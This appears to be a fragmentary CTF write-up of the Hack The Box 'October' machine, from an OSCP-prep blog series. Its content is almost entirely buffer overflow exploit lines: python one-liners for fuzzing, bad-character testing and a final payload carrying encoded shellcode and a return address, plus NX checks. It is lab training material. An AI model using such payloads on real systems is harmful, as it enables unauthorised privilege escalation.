Road to OSCP: HTB Series: OCTOBER Writeup

Recon Phase

Information Gathering


Privilege Escalation

Information Gathering

python -c 'print "\x41" * 108 + "\x42" * 4 + "\x43" * 4 + "\x44" * 500'
python -c 'badchar = (
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" );
print "\x41" * 108 + "\xe4\xff\x90\x90" + "\x2f\x85\x04\x08" + badchar'
python -c 'shellcode =  b""
shellcode += b"\xd9\xeb\xbb\xde\xf1\x9b\xbc\xd9\x74\x24\xf4"
shellcode += b"\x5e\x2b\xc9\xb1\x1f\x31\x5e\x1a\x83\xee\xfc"
shellcode += b"\x03\x5e\x16\xe2\x2b\x9b\x91\xe2\xe2\x87\x51"
shellcode += b"\xf9\x57\x7b\xcd\x94\x55\xcb\x97\xe1\xb8\xe6"
shellcode += b"\xd8\x65\x61\x91\xd2\x83\x85\x66\x8b\x91\xa5"
shellcode += b"\x6c\x99\x1f\x44\x06\x7b\x78\xd6\x86\xd4\xf1"
shellcode += b"\x37\x6b\x16\x81\x32\xac\xd1\x9b\x72\x59\x1f"
shellcode += b"\xf4\x28\xa1\x5f\x04\x74\xc8\x5f\x6e\x81\x85"
shellcode += b"\x83\x5f\x40\x58\xc3\x25\x92\x1a\x79\xce\x35"
shellcode += b"\x6f\x86\xa8\x39\x9f\x89\xca\xb0\x7c\x48\x21"
shellcode += b"\xce\x43\xa8\xba\x7e\x3e\xe2\x43\xfb\x01\x84"
shellcode += b"\x53\x58\x0b\x94\xcd\xec\x2f\xe7\xed\xdd\xb0"
shellcode += b"\x82\x32\xa5\xb2\x73\x53\xed\xb2\x8b\x94\x0d"
shellcode += b"\x0e\x8a\x94\x0d\x70\x40\x14"
shellcode += b"\xfc\xdb\x42\x0c\x09\x11\x04"; print "\x90" * 108 + "\xe4\xff\x90\x90" + "\x2f\x85\x04\x08" + shellcode'
readelf -l crossfire|grep GNU_STACK
dmesg | grep NX

Learning Points




OSCP | CTF Player | Penultimate Information System Student in SMU | Major in Cybersecurity

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Louis Low

Louis Low

OSCP | CTF Player | Penultimate Information System Student in SMU | Major in Cybersecurity

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